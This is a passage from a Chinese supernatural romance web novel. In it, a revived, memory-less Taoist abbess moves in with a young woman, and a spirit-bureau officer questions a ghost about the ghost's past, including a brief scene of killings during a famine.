“蓬莱观”三个字出现在书籍三分之一,傅清微突然打起了精神,坐正了身子,连忙用笔在本子上抄录下来。没想到越往后出现的次数越多,三分之二处,第一次出现了蓬莱观观主的名讳,姓穆,道号若水。 她是极少数在书中出现全名的道士。 虽然后面都用穆道长代替,而且穿插在整本书里算不上太频繁,但是干的大事一点都不少。可以说在当年,她是西南乃至全国都非常有名的一位道士,记载了很多救人事迹。 放在古代的民间传说里,这种人功德深厚,一般是要肉身成圣、得道成仙的。 现代没有成仙,所以那时穆若水就开始被一些人尊称为慈让真人,甚至为她立像供奉香火。 傅清微已经确认了她的一部分过去,虽然书里记载的和现在的穆观主可以说大相径庭,但傅清微坚信:一定是发生了什么,而且不是观主的错。 况且,脾气不好和救人没有冲突。她不是高贵冷艳地救了自己好几次吗? 书翻到最后一页,傅清微也停下了笔。 纸张上密密麻麻都是穆若水曾经的事迹,傅清微直觉这东西不能被观主看到,于是找了个地方藏起来。 这本书成书于八十年代,因为过于冷门,虽然很旧了,但保存完好。傅清微合上书,爱惜地摸了摸它的封皮,书是图书馆的不能不还,旧书网上也没有搜到,所以她决定明天出去找个打印店扫描一下,自己装订一本。 她把书放回书架,把咖啡杯洗了,关了客厅的灯,借着月光上了床,钻进了属于她的小被窝。 快一个月没有睡到自己的床,傅清微高兴得忍不住打了好几个滚,才打了个哈欠沉沉睡去。 滴答——滴答—— 床头的闹钟一分一秒地走着,沙漏一样漏干了黑夜。 晨曦将明。 傅清微的生物钟让她在身体极度困倦的情况下还是坐了起来,下意识起床梳洗,朦朦胧胧准备赶路下山。 她眼睛半睁不睁,脚刚踩到拖鞋里,被面前不远处地上的一双靴子吓得瞬间清醒。 靴子鞋尖朝床,说明已经上了她的床。她不会跟鬼同床睡了一晚吧??? 傅清微回头不见鬼,再转过来看见—— 一个戴着方相面具的女人站在她面前,四只眼睛,头生双角,口长獠牙。 因为光线太暗,她看不清具体的穿着,只有那张阴冷的傩面令人胆寒。 傅清微:“!!!” 说不上哪一个更让她害怕。 穆若水摘下面具,说:“是我。” 系在脑后的红线散开,傅清微不错眼珠地盯着那只苍白漂亮、骨节修长的手移到面具边缘,慢慢拿了下来。 穆若水低着的头抬起来,露出海棠般绮丽的面庞,眉目带来的光华令昏暗的室内都微微一亮。 眉如墨画,唇红似朱。 女人单手勾着面具的红线,看过来的神情带着少见的柔和之色。 “你不是说要带我看一看新世界吗?” 18-20 第18章 2029年9月20日, 穆若水第一次在现代睁开眼。 她躺在一副石材打造的沉重棺材里,对自己的处境一片陌生,怀里躺着一具刚刚被她吸食过鲜血的柔软身体。 怀中贴着她的身体曲线起伏, 凹凸有致, 是个女人。 穆若水抬手一挥, 掀开合着的棺盖,刺目的阳光让她抬手遮住了眼睛, 甚至有种皮肤被灼伤溃烂的痛感, 几乎化作实质。 但她低头看自己的手,皮肤光滑, 比美玉不让分毫。 不见天日太久, 她想找地方躲避热烈的阳光,幸好道观树木高大,最小的也超过百年, 她朝旁边迈了两步, 身影停在树荫里。 目光朝不远处开着棺盖的棺椁里投去。 女人的年纪很轻,甚至可以称作女生,她的脸很白, 眉眼漂亮,闭上眼的样子像是睡着了,然而脖子上的伤口还在往外流着鲜血。 两个血洞。 “……” 穆若水用祝由术治好了她,伤口完好如初, 等她回过神以后,她的外衣也披在对方身上了。 穆若水:“……” 算了, 反正自己也不冷。 穆若水醒来的时候身边空无一物, 棺材里只有一枚圆形玉佩。她把这块玉佩拿在手里端详,黄玉质地, 颜色非常深,一圈一圈藻井似的花纹连在一起,除了复杂以外,没有任何特点。 不是名玉,但花纹特别独特,穆若水推测有可能是身份标记的信物。 玉佩触手温润光滑,应该是被人常年盘玩。 这是我的东西吗? 穆若水心想。 那个闯入她棺材的年轻女人醒了,扒在后面期期艾艾:“道长?” 穆若水握着玉佩藏进掌心,转了过来。 看见对方抱着她的衣服,问她从哪条道能下山,正好,她刚醒,也有问题要问她。 “何年何月?” “2029年9月20日。” “报上名姓。” “傅清微。” 清微? 不知道为什么,穆若水听到这个名字,脑海里第一时间浮现的想法就是:她是个道士。 但她说她只是普通人。 普通人就普通人吧,与她无关。 可…… "不知道长如何称呼?"傅清微试探道。 穆若水想不通上一个问题,她为什么会不是道士?接下来又被她踩了雷,当即冷哼一声。 “与你何干。” 穆若水一觉醒来,忘了过去种种,包括她的名字与姓氏。 她开了道观院门,放误闯的普通人下山。 普通人迈过门槛,穆若水想起今年已经是2029年,突然有了很想知道的事。 “此间可还有战乱吗?” 她回答她:“已和平近百年了。” 穆若水像是了却一个刻骨的牵挂,由衷地感到高兴,浅浅地笑了一下。 “那就好。” 尽管她已经不记得旧事,但她的灵魂仍铭刻她们在期盼一场胜利。 穆若水想了解山下的变故,现在的世界变成什么样了?于是往傅清微身上放了一个纸人,用她的眼睛去看,用她的耳朵去听,高楼林立,繁华的地下铁,各式各样的LED屏目不暇接。 最神奇的还是手机,取代了信鸽和手摇电话。 当然,也一不小心把纸人附身的宿体看光了。 她可不是故意的。 她有的自己也有,有的还没自己大,有什么好看? 纸人浸水坏了以后,穆若水就彻底躺进了棺材里,整日整夜地睡觉。 她想不起很多事,干脆不想了,反正都睡了这么久,继续睡下去也无妨。 直到有人上门扰她清梦。 是一群不知死活的年轻人。 同样是年轻人,上次的傅清微就比他们好很多。 穆若水一次性闻见那么多人的气味,从棺材里睁开了双眼,全身经脉里的血液都在沸腾,从冰冷瞬间上升到沸点,搅得她五脏六腑都在冲撞,眼神鲜红,她的手收在袖子里,没看见手腕上若隐若现的红线。 要不是红线,也许早在那日,她就把进门的那些人都杀光了。 “再不滚,你们都要死!” 她听到一群人在外面不远叽叽喳喳的议论,戾气翻滚,愈发难平。 “晚辈灵管局占英,师承阁皂宗。拜见慈让真人。” “滚!” 石棺棺盖打伤了出言不逊的乾道,漫山遍野的阴兵逼退了不知死活的一群天骄。 穆若水在棺椁里合上了眼睛,渐渐平静。 她们也没白来,从她们的口中,穆若水得知自己姓穆,是此地观主,号慈让真人,以前应该也是位道士。 灵管局领头的那个年轻人在山脚扎营,半山腰多了很多飞来飞去的东西,晚上红光一闪一闪。 它们不敢飞得太高,穆若水只当不知道。 她本想接着沉睡,但是红线又出现了。 从无到有,先出现在她的手腕,再是脚踝,以前据说人下葬的时候要在棺材上钉钉子,三寸长的铁钉,一点一点地砸进去,防止棺材里的人死而复生。 红线就像铁钉一点一点地砸进她的灵魂——字面意义,真正的魂魄。 她这具身体本该感觉不到疼痛,但是红线直接作用在她的三魂七魄,红线每一次发动,她的魂魄就要被撕裂一次,犹如业火吞噬,粉身碎骨。 地府有一层烈火地狱,据说熊熊燃烧的就是业火,受刑的恶鬼便是日夜被业火焚烧魂魄,直至灰飞烟灭。 棺材里被手指抓出新的血迹,穆若水孤身离开了蓬莱观,本能地循着上次的气息找到了傅清微,顺手杀了一只黄鼠狼。 傅清微误以为自己是专程来救她,未免太自作多情。 虽然确有几分姿色。 但她还不配。 她的血对压制红线有奇效。 穆若水不明白为什么。 而且在来之前,她甚至不知道她的血能压制红线,但她还是来了,也果然解决了红线。 她到底有什么特殊之处? 穆若水不想和人待在一起,所以还是选择回到山里。 想不起来,于是不想,哪天睡够了再起来,白云苍狗,她的生命漫长得看不到尽头。 下一次醒来,说不定桑田已变成沧海。 就是指甲越长越长了,也没个修甲刀什么的,剪起来不方便。 “道长!”灿烂明艳的笑脸出现在棺材上方。 穆若水无奈地醒过来。 傅清微来了就不走了,晨昏定省,早安晚安,翠羽白尾的小鸟在她的屋檐下叽叽喳喳,不时翅羽扇动,柔软地擦过她的脸。 “道长。” “道长……” “道长!” “爱你~” 穆若水根本睡不着觉。 从不胜其烦到不厌其烦,也就不到一个月的时间。 看得顺眼很重要,穆若水把原因归结于她的姿色,性格也……勉强还行吧,不额外加糖的奶茶不错。 她给她苍白枯燥的生活带来了少许的鲜亮颜色。 实在要说的话,只有小拇指盖那么大的一点点,不能再多了。 阁皂宗的宁心符只剩下一道,傅清微用自己的舌尖血注入符胆,又画了两道,总共三道。 按理说应该不会有问题,但那天早上,趁着傅清微睡觉,穆若水还是往她头发里藏了张小纸人。 不为了观察山下人间,也不为了监视她,为了什么……穆若水也想不明白,最后她认为是睡太多了闲的。 巧的是,就在那一天出事了。 傅清微迟迟没有回山,穆若水从纸人看到了她的状况,毫不犹豫地下山救人。 连三道符都阻不住的邪祟,要么是血气缠身的厉鬼,要么是道行精深的妖或者精怪,世间既然和平年久,不会有魔的存在,连妖应该都罕见。 真麻烦。 要是她一直待在山上,不离开自己身边,又怎么会遇险? 穆若水一边在心里抱怨,一边找到了被附身的傅清微。 是一只六百年的妖鬼。 它说它可以看穿人的欲望。 穆若水不信。 但是她的记忆一片空白,本来她可以这样沉睡下去,但有人唤醒了她,她有一点想要知道了。等它说完,自己就杀它灭口。 妖鬼逃遁很快,她错过了抓它的时机。 下一次,她会问得更仔细点,也不会再给它活命的机会。 唇瓣的凉意还在,傅清微体质虚弱,气血不足,亲上来的唇也是冷冷的,别的暂时没感觉到。 傅清微躺在家里的床上,密密的睫毛垂下来,盖住了她那双极有神韵的丹凤眼,穆若水的目光自然而然地下移,落在了年轻女人朱红的唇上。 白姝不仅画了眼线,还给这副身体涂了口红。 朱唇微启,气息幽甜。 穆若水的拇指多了一个红印。 起身离开了卧室。 傅清微不愿意守在山上,果然是有原因的,她噼里啪啦说了一堆,又是要拿学位证又是朋友,穆若水听完了,无非就是山下的一切都重要,而山上的她在她心里没一点分量。 死也要死在山下。 她这样下去,迟早会真的死在山下。 她身上无利可图,灵管局那帮人未必会尽心帮她,自己不可能永远及时赶到。 穆若水并不是个慈悲的人,可也不想看着她死,所以教了她金光咒,还给了她自己的佛珠。 佛珠的来历穆若水也不记得了,但她知道是样厉害的法器,红线刚出现的时候,佛珠帮她压制了一部分。 红线杀不了她,但佛珠至少可以救傅清微一命。 说是借,但穆若水没打算要她还。 以后傅清微会越来越少地回山上,也许有一天她不再回来,她道观宫墙无意停留片刻的那只青雀迟早有一去不返的那天。 穆若水将再次陷入沉睡。 直到沧海桑田。 离开的时候傅清微叫住她。 “道长,你不想留下来,看看和平年代的新世界吗?” “我想带你亲眼去看一看。” 最终打动她的其实不是那句和平年代的新世界,而是“我想带你去”。 山中日月长,岁月弹指间。 人类的一生何其短暂,匆匆几十年,与其漫无目的地沉睡,穆若水愿意用她无限的生命去陪傅清微一段有限的人生。 顺便看一看这无聊的人间。 几十年后,她的寿命终结,自己再重新回到山里。 或者,中间她发现傅清微变了,那她就……到时再说,大不了提早回来。 棺材又不会长脚跑了。 …… 穆若水站在十平米的卧室里,单手拎着方相面具耳后的红线,颜如朝华,照亮了昏暗的房间。 “你不是说要带我看一看新世界吗?” 傅清微好像呆住了,目光呆呆地落在她身上,一点反应都没有。 难道是不欢迎她? 穆若水昨晚躺在棺材里看了很久亘古不变的月亮,想了一晚上才决定下山。 “你骗我。”口吻笃定,穆若水的手骤然掐住了傅清微的脖子。 占英要是在这都要捂眼:你们俩怎么一言不合就——上演限制级。 傅清微马上从美色中清醒了,没费太大力气把穆若水的手从自己喉咙拿下来,解释说:“没有,我就是太高兴了,你总得给我一点反应的时间。” 她高兴是真的,沉迷美色也是真的,后者可不敢说出来。 “我看不出你高兴。”穆若水说。她就看到傅清微在那发呆,说不定在心里琢磨怎么摆脱她呢。 “真的很高兴。” 傅清微见她始终不信,语气上扬,脆生生地招牌喊了声:“道长!” 穆若水看着面前喜形于色的年轻女人,也有些悦色。 她的青雀回来了。 女人说:“以后我会住在这里。” 说出这句话的同时,她不出意外地看见更加灿烂的笑出现在了傅清微的脸上,她连拖鞋都没穿,朝穆若水扑了过来。 越发大胆了。 心里啧了一声。 穆若水轻轻往旁边一避,让开了傅清微的身子。傅清微也不恼,眉眼延续了这种由衷散发出的快乐,她本来就没抱着能抱到穆若水的打算,这不是让她相信自己是真的愿意并且喜欢她住在这里。 傅清微光着脚向她道歉,跑回去穿鞋。 “你等等,我先去洗把脸。” 穆若水点头。 “你随便看看。”年轻女人说完进了卫生间。 傅清微往脸上泼了凉水,对着镜子把眼睛周围都擦干净,想了想又挤了点洗面奶,揉出洁白绵密的泡沫给自己的脸来了个彻底清洗,尤其是睡醒后容易出油的地方。 一次性面巾纸均匀地吸干水分,傅清微又接了一捧清水,从指缝漏干净,屈指弹了几滴水迹在自己白里透红的脸上。 ——营造出一种随便洗洗还没擦干的松弛感。 十分钟后,傅清微从卫生间出来,卧室已经没有穆若水的身影。 她在客厅找到了对方。 对方丝毫不拿自己当外人,坐在长沙发她固定的位置上,随手翻一本书。 傅清微扫了眼半个封皮,不是那本研究著作,幸好她昨晚收起来,收到今天出门要背的包里了。 说来也怪,两人“同居”这么久了,之前一直住在道观,现在挤在这个几十平的小房子里,“房东”易主,傅清微突然多了一种紧张感。 她倒了一杯水过来,脑子一热,嘴里开始胡乱蹦字:“招待不周,招待不周。” “……” 穆若水奇怪地看了她一眼,就好像在说:你脑子坏了? 没开口但是傅清微有被骂到。 傅清微掉头冲回卧室。 “我再去洗把脸。” 她彻底冷了冷自己的脑子,回来坐在穆若水对面,诚恳道:“除了我说的这件事,道长还需要什么我效劳的吗?” “有。” “什么?” “替我打副棺材。”穆若水翻了一页书,随口说。 “???” “上山那副太沉了。”搬不下来,目测这小地方也放不下,所以穆若水说,“得再打一副新的。” 傅清微涌现出了一个不可思议的想法。 “你该不会是想接着睡……”在棺材里吧。 “不错。”穆若水点头,仿佛很为她着想地说,“我不介意小一点。” 可是我介意啊!!! 傅清微建议说:“我的床可以让出来给你,我睡沙发。” “太大了,我不习惯。” “那沙发?” “太小,而且没有盖子。” “……” 就非要睡棺材不可吗?她上哪儿给她找棺材,再说往屋里放棺材,考不考虑她半夜起来的感受啊? 傅清微温和地笑了笑:“好,我想想办法。” 穆若水颔首。 “退下吧。” “是。” 傅清微退回卧室继续洗漱,把客厅留给新来的事儿很多的道长。 ——她的同居室友。 穆若水垂下眼睑,笑弧浅浅地划过唇角。 * 话分两头,这夜傅清微与穆观主的关系有了跨越式的飞跃,另一边,间接促成此事的白姝正在疲于逃命。 她从来没有在鹤市遇到过这么厉害的人物,穆若水伸手的那一瞬间,她觉得她就要死了。要不是她早变成鬼,都要吓得灵魂出窍。 她有时候会给灵管局当线人,去领赏的时候见过据说是正一派道士这一代中流砥柱,天之骄子的岁已寒岁主任,三十多岁手握重权,符箓造诣精深,尤其擅长雷法。 简直是她们这群阴物的大克星。 白姝每次见她都躲着走,但悄悄看上两眼也不妨事,毕竟岁主任腿长腰细的,也是个美人,因为自幼修道,长发挽成道髻,白袍飘飘,别有一番气质。 昨晚那个人却不一样,看起来虽也是道士打扮,但是阴气比她们这些死了几百年的鬼还要重。 白姝看不透一点。 除了阴气还有眼神里杀戮的欲望,浓稠得几乎化为实质,白姝多年苟命的本能疯狂示警,趁着她发呆的工夫,扎进影子里玩命逃窜,连头都不敢回。 作为一个胆小且爱美的女士,白姝虽修了几百年道行,不怕日光,但从来不在白天活动,就是因为她惜命。 白姝一口气奔到了城外,直到天亮才鬼鬼祟祟地溜边,贴着高楼的阴影回到了家。 她裹紧自己的毛毯在沙发瑟瑟发抖,一口气服用了一个蛋糕两盘水饺三碗抄手四杯奶茶才勉强缓过来。 都变成鬼了,又不会胖,多吃点怎么了? 做鬼不就图这点好处。 白姝抹了嘴,打算去洗个澡睡觉,晚上再出门溜达……不,最近还是不出门了,免得遇到那个红衣服的道士,避一避风头。 正要回房间,大门被敲响了。 咚咚咚—— 手掌拍在门板上,还是那种很不礼貌的敲法。 “来了。”白姝在玄关停了一会儿,才语气不善地拉开门,阴气沉沉,“哪个不长眼……” 她语锋一转,堆起灿烂得像朵花的笑容:“占姐姐,怪不得大老远就闻见一阵香风,有失远迎,快往里请。” 占英一抬手,阻止了她的过分热情,“别,例行公事。” 她仰起脸,看着面前身高将近一米八的长腿风衣御姐,说:“先把高跷卸了,我有事问你。” 白姝应了一声,老实听话地摘了工具。 卸了高跷的白姝原地矮了二十公分不止,比占英低了快一头。 御姐爆改甜妹。 “占科长请。”白姝伸手将她请进来,“咖啡还是茶?” 占英也是累了,昨晚接到穆观主电话后,连夜开车赶回来,第一站就杀到了白姝家。 连轴转了几天,太阳穴突突的。 “奶茶有吗?” “有,我给你做,上次买的材料还没用完呢。我最近新学了一个……” “算了我赶时间,白水就好。” 占英一连喝了三杯水,喘了口长气,问坐在对面的白姝:“昨晚你干什么去了?” 白姝面不改色:“我在家追剧,追完就睡了。出什么事了吗?有没有我能帮上忙的?” 占英:“我有证人,劝你老实交代。” 她这人说一不二,虽然在灵管局声名和脾气都很好,私事好商量,但办案从不手软,白姝立马撂了:“我昨晚上了一个人的身,我发誓我什么都没做,也没有害人之心,我就是看她个子高又长得好看,一时没忍住。” 白姝是几百年前去世的,那时候还是元朝,元末大乱,底下打成一锅粥,百姓是这粥里的鱼肉。喂饱了当官当兵的,轮到他们就只能自己割肉喂自己。 白姝十几岁了长得像根豆芽菜,卖去妓院没人要,头上插根草当奴婢也没人买。她爹就把她从街上又带了回去,她娘见到她抱着她大哭。晚上她跟娘一起睡,娘把她抱得紧紧的。 第二天,娘不见了,爹打了半壶酒,拎着一斤肉回来。 晚上炖了肉汤。 爹吃肉,弟弟喝汤,她吃米汤。 男人喝醉了,大喇喇地敞开肚皮,四肢摊开躺在屋里,呼噜声震天。 白姝拿着今晚剁肉的菜刀,在她爹的脖子那里比了比。 她看见了,昨晚她爹亲手把她娘交到人牙子手里,娘也看见窗户里偷看的她了,只是默默流泪,跟人牙子走了。 娘不在了,爹算什么?没有娘,他什么都不是。 他本来就什么都不是。 白姝第一次宰人,动作不熟练,一刀下去她爹没死,发出一声杀猪般的哀嚎。但他脑袋剩半个连在脖子上,也是活不成了。 白姝听着笑了。 她没有理会他的求救,一刀,然后又是一刀,像剁肉一样,把她爹的脖子那里剁成了连筋的肉馅。 男人的惨叫声惊醒了睡觉的弟弟,弟弟站在门口嚎啕大哭,扑上来打她。 拳打脚踢,比平时打她还痛。 “坏人,还我爹爹,打死你打死你……” 白姝手起刀落。 弟弟的身体也倒在地上。 白姝最后还是死了。 她杀了两个人,却并非死于官府的缉凶,没人报案,也没人追凶,她一路流亡,可能是饿死的,可能死在乱军山匪的刀下,也有可能是被煮来吃掉了,白姝变成鬼以后就不记得了。 变成鬼的岁月里,有时候和平有时候打仗,打仗的时候死人多,阴气重,有助于她们这些阴物修炼,但同时人间妖魔横行,地底不断有东西爬上来。白姝作为一个小鬼也只能东躲西藏,生怕被厉害的东西吃了。 最长的动乱持续了一二百年,连皇帝都没了。 一直到了现代。 白姝第一次感觉自己活得像个人了。 在灵管局登记以后,她相当于连户口都有了,逢年过节还会有人慰问——虽然是担心她们作乱。 白姝以前吃得不好,当鬼以后就特别爱吃。 她最大的遗憾是没能长大,但是死都死了,她不可能再长了,即使它的灵魂已经几百岁了,外表永远是个又干又瘦的小豆芽,白姝就特别羡慕那些长得高的姐姐们。她想到了一个绝佳的办法,虽然没有针对鬼的增高术,但是她可以附身啊。 于是她专门附身那些高个子又长得漂亮身材好的女孩,享受一下高处的空气,对着镜子照一照漂亮脸蛋,满足满足自己。最多一晚上,她自己就离开了,因为附体时间短,连宿主身体都不会有损伤的。 灵管局备案的资料里有这一栏,她从来没有隐瞒过,局里也是知情的,睁一只眼闭一只眼。 白姝:“占科你知道我的,我很珍惜现在的生活,我绝对不会害人。” 占英当然知道。 本市妖鬼登记在册有五只,穆观主一说擅长利用影子逃遁,占英就猜到了是白姝。 但能看穿人的欲望是怎么回事? 据占英的了解,看穿欲望这种本事非大妖不可,至少需要千年道行。白姝一只几百年又贪图享受、贪生怕死的妖鬼,不可能有这种本事。她要是有,早就上了重要人(鬼)员名单。 “你有同伙?” “绝对没有,要不是我急中生智,险些小命交代在那里。”白姝诉苦说,“占科,你不知道,我遇到了一个好厉害的道士,哦,也可能不是道士,我看不出她到底是什么。她好凶,你可得保护我。” 占英凉凉道:“我可保护不了你。”她这条命也捏在穆观主手里呢。 白姝:“啊?” 占英猜出了一些,问她道:“你详细说说,昨晚到底发生了什么?我要知道全部。” 白姝娓娓道来。 其实她哪里会什么看穿人的欲望的本事。 “那个红衣服的道士一出现,我就知道不是她的对手,连小拇指盖都比不上。我心想我肯定不能这么死了,我就求饶啊,我跟她说我还有用,我能看穿人的欲望,愿意给她当牛做马。” “你骗了她?”占英在心里给白姝的坟头添了一捧土,不够,再来三捧。 “也不算骗吧,我(的愿望是)能看穿人的欲望,我在努力修炼了。” 你最好敢把这句话当着穆观主的面说,看能喜提几种死法。 占英按下吐槽,问:“后来呢?” 白姝说到这有些得意:“她们俩一看就不清白,我心生一计。” 而占英则有了一种不祥的预感。 白姝何止一计,她是一计连着一计,发现穆若水对她所附身的那个人不一般时,脑筋飞转,想到了一个绝妙的脱身之法。 果然,傅清微一亲她,她整个人都呆住了,都忘记要杀她的事了。 “什么?!” 占英刷一下从沙发里弹起来:“她俩接吻了???” 白姝严谨道:“我只是控制她的影子亲了那个道士,不知道后来接吻没有。诶,你反应怎么这么大?她们俩真的有一腿?那我岂不是歪打正着。” “死到临头还想着八卦。”占英斥她。 “我我我哪里死到临头?”白姝慌了。 “你得罪的那个人,能把你杀一万次。要是让她知道你骗了她,你要被杀十万次。而现在,她就要把你挫骨扬灰了。我就是奉她的命来找你。” 白姝慌忙往窗帘里一钻,就要从窗户逃跑,一溜烟跑出二里地她又回来了。 占英在她的客厅慢条斯理地喝水。 白姝讪讪地坐回到她对面。 “怎么不跑了?”灵管局的年轻科长抬起眼帘。 “我刚刚是一时犯了健身瘾,跑完两圈就回来了,绝对没有畏罪潜逃的意思!”白姝高举双手。 占英懒洋洋地嗯了一声。 白姝不能跑于是给自己找补:“不能全怪我,你不知道她有多香。” 占英:“?” 白姝舔了舔嘴唇,边咽口水边说:“你不是鬼不明白那种感觉,就像唐僧肉一样,根本忍不了一点。” 占英沉着脸说:“你要死一亿次了。” 白姝扑通跪了下来。 “占科救我!” 占英示意她起来,来的路上她已经算到了这一步,说:“我会回禀受害者家属,这件事是外来的妖鬼干的,和我们本地老老实实的良鬼无关。” 事情调查清楚了,白姝没想害人,占英当然可以捆起她登门道歉,前提是穆观主讲理。 恐怕她把白姝送去,前脚去,后脚灰飞烟灭,连她道歉的开口机会都不会给。 占英只好出此下策,慈让真人闭山门不出,不会为了追踪一只妖鬼千山万水。 “多谢占科,大恩大德,没齿难忘。”白姝感激涕零。 “别急着谢我。”占英说,“你有错在先,想想怎么弥补吧。” “愿听占科吩咐。” “有没有保命的法器,献几件出来。等风头过去,我帮你去说个情。” 穆观主不讲理,傅清微却是通情达理的,误会一场,杀一个白姝对她来说没必要,正好她体质招鬼,白姝苟了这么多年,藏了不少防身的宝贝,刚好能给傅清微用。 讨好了傅清微,就等于讨好了穆观主。到时候慈让真人一高兴,白姝这条小命就保住了。 白姝的法器都是些古物,占英挑了半天,勉强挑出三样合适的。 白姝虽然肉痛,也知道占英办事公正,是为她好。 占英把交给傅清微的法器仔细收好,说:“在收到我的回信之前,你待在家里不要出门。”再撞到慈让真人手里神仙难救。 “知道,我肯定不出门。” 占英处理妥当,谢绝了白姝的挽留,起身准备告辞,她还得禀告观主然后回家睡觉呢。 白姝刚刚得了生路,送她出门的时候还在好奇:“你说她真的信了吗?” 占英:“……” 你是真的不怕死啊。 * 回到傅清微家里。 穆若水用指尖碰了碰自己的嘴唇。 那天晚上,傅清微颤抖地吻上了她的唇。 穆若水起初以为颤抖的是对方,后来才发现在一开始的双唇浅浅触碰之后,因为莫可名状的心情而发抖的人是她自己,是激动?悲伤?难过?难以自制? 她感觉不到,认不清楚。 所有强烈的情绪经过她的身体,都会一层一层地变淡,就像打水漂一样,越来越远越来越远,只剩下浅浅的涟漪,荡不到岸边。 她现在的身体像是一个过滤器,感知不了正常人的情感。 除了愤怒。 ……只有愤怒和杀戮的欲望,会百分百地留下来,甚至放大。 她非常容易动怒,也不打算克制这种愤怒,因为没人可以阻拦她。看似随心所欲,实则信马由缰,毫无方向,所以她宁愿在棺材里长睡不起。 傅清微是个例外。 她不知道自己和她究竟有什么联系?为什么会是她的欲望? 穆若水不执着于找回过去的记忆,往事如尘烟,仙道贵生,道家讲究今生,追求长生久视,既然她已经……又何必执拗过去,而且冥冥中有另一种力量在阻止她。 她的血能压制红线还是不能,对穆若水来说也没有那么重要。 她只求现在。 至少现在在她的身边,她能感知到愤怒以外的情绪。 偶尔的,还能有愉悦。 比如说她问傅清微要打一副新棺材的时候。 傅清微被她堵得哑口无言。 难得,难得。 她这个地方这么小,哪里放得下棺材?不像她的道观,有山有水有房子,她们两个人均面积几百平,但她偏偏不愿意,穆若水只好陪她来山下。 沙发还没有她的棺材大。 穆若水躺下来,伸长了腿比了比,确实,没冤枉它。 今晚睡在哪儿呢? 卧室里的傅清微也在想:今晚安排穆观主睡在哪儿呢? 要不然她们俩睡一张床? 傅清微揉了揉自己的脸,又用力拍了两下赶紧清醒一下。 想什么呢? 遇事不决,傅清微打电话开始摇人。 占英刚从白姝家离开,上了吉普车,屁股还没坐热,电话又响了,是傅清微。 这是夜生活结束了?天都亮了才——歇息啊? 也不知道傅清微受不受得住。 占英接起来,小心地声音压低:“喂?” 傅清微奇怪地问:“占道长,你声音那么小干吗?” 占英继续小声:“穆观主在你身边吗?” “不在,她在客厅看书呢。” “你们俩没回山上?” “占道长,正好我因为这件事找你,观主她不打算回山上了。” “什么意思?” “她以后和我一起住。” “哦哦哦~”占英心想,傅清微的家庭地位比她想象的还高,白姝的命算是保住了。 “占道长你不要误会。” “我还什么都没有说呢,你想到了什么?”占英笑眯眯的。 傅清微张了一下嘴,又紧紧地闭上了。 两个女生合租住一起不是很正常的事吗?她怎么会想到她和道长是同居情侣呢? 太不尊老了! 第19章 不能因为道长长得年轻漂亮就老是把她当成同龄人, 她至少也有一百三十岁了。 而自己还不到她的零头。 她愿意下山住在这里是她大发慈悲,千万不能再有这样不尊敬的想法。 道长估计都不知道同性恋是什么。 傅清微反思完毕,说:“就是单纯的合租关系, 你不要多想。”她们都不多想。 占英想的不仅多, 还都是打码的内容。 但她是灵管局的公职人员, 嗑cp也不能当着人家实习生正主的面,笑呵呵地揭过:“一起住好啊, 有什么困难记得找组织。” “现在就有困难。” “啊?” 傅清微把穆若水的需求说了, 这种小事占英的权限就可以答应:“你问问观主棺材需要什么材质的,我让后勤部马上去办。” “除了棺材还有个问题, 我的房子放不下, 除非把茶几搬走,但是你也知道……”傅清微看了眼房门的方向,确认是关好的, 低声说, “棺材放客厅,我半夜起来上洗手间心脏都要吓停了。” 那和停灵有什么区别? “……”这确实是个问题。 “要不我向上级申请,给你们换个大房子?”占英提议说。 “……”傅清微没想到是这么个解决办法, 她都住习惯了,而且刚交一年房租没多久。 “成吗?”占英又问了一遍。 “我问问观主吧,待会回你。” “对了,观主那份租金算在灵管局头上, 你每月走局里报销就行。” “不用,没多少。”傅清微想也不想地拒绝。 傅清微挂断电话, 打开房门, 穆若水还在读先前那本书。 简体字在和平年代后推行,穆若水生活的时代还是用繁体字, 也不知道她能不能看得懂。傅清微在心里记下要去买本简繁对照词典的事。 她来到穆若水的面前,穆若水没有棺材躺,导致她很难掩饰自己的肢体依赖,因为对方的走近而本能生出的调整。 女人的眼睛看向她,整个人也保持面向她的姿势。 从心理学上说,这是信任的表现。 没了棺材,傅清微也有点不习惯,平时她有事找穆若水都是扒在棺材边上,探进脑袋。这会儿她站着,女人坐着,好像不知不觉走得太近了,傅清微适当地往后退了两步,保持在恰当的社交距离。 好在穆若水比她能端着,扬起下巴冷淡道:“有事?” 听见熟悉的爱答不理语气,傅清微顿时相处自如了。 傅清微唇角挽起一点笑意,说:“有。占道长说可以帮您打副棺材,还问您要不要住到大房子里?” “那你呢?” “我当然和你一起。”虽然舍不得自己辛辛苦苦布置的房子,但是穆若水为她“牺牲”这么大,都愿意下山了,她换个住处有什么的。 “你不是喜欢自己的小房子?一见到心情都会变好?” “是。”傅清微仍然笑着说,“但是道长的感受也很重要。” “……” 她又这么说话!让人浮想联翩! 穆若水想念她的棺材了。 更想念她的棺材盖,每当这种时候,她只要盖上盖子就好了。 “道长?” 穆若水静静地等自己手臂细细的鸡皮疙瘩平复,低头慢慢翻过一页书,半晌才缓缓出声:“不必。” “是不住大房子还是不打棺材?” “都不必。”大不了她晚上回山上住,白天再下来。 “那你睡哪儿?” “再议。”穆若水暂时不想告诉她自己的打算。 “……是。” 傅清微也只好这么说。 她进屋打电话给占英回复,穆若水叫住她:“我的面具呢?” 傅清微在卧室找到那张傩戏面具,入手很轻,是柳木雕的,交给她:“是这个吗?” 穆若水接过去扣在脸上,细细的红线挽在墨发后。 傅清微:“……” 谁家好人青天白日在家里戴傩面啊? 穆若水戴上面具,傅清微看不到她的脸,每一个表情藏得严严实实,多了许多安全感。 她捉摸不透的眼神从面具后透出来,神情自在道:“回吧,不用管我,没事别出来。” 傅清微:“……行。” 傅清微回房了,答复完占英后,网上下单了部简繁对照字典,上午买,下午送到。 两个人不比一个人,要同居,不是,合租,除了给穆观主安排住处,还有床上用品、生活用品,以及根据道长的需求随时调整的待定事项。 傅清微冲了杯咖啡遏制困意,打开笔记本蹲在床前写计划表和采购清单。 ——家里唯一的书桌在外面呢。 烧开水冲咖啡的时候她路过客厅,穆若水在沙发睡觉,长手长脚有些局促,规矩将手搭在小腹,戴着面具。 傅清微想了想,在采购里加了一项:眼罩。 备注加粗:今晚一定要让她睡床。 自己睡沙发也好,打地铺也好,总之沙发睡久了她肯定不舒服。 傅清微洋洋洒洒列了好几页,真同居的人也没她细心,生怕穆若水住过来受一丁点委屈。 肚子接二连三的咕噜,傅清微按住胃部,看了电脑右下角的时间,出来觅食。 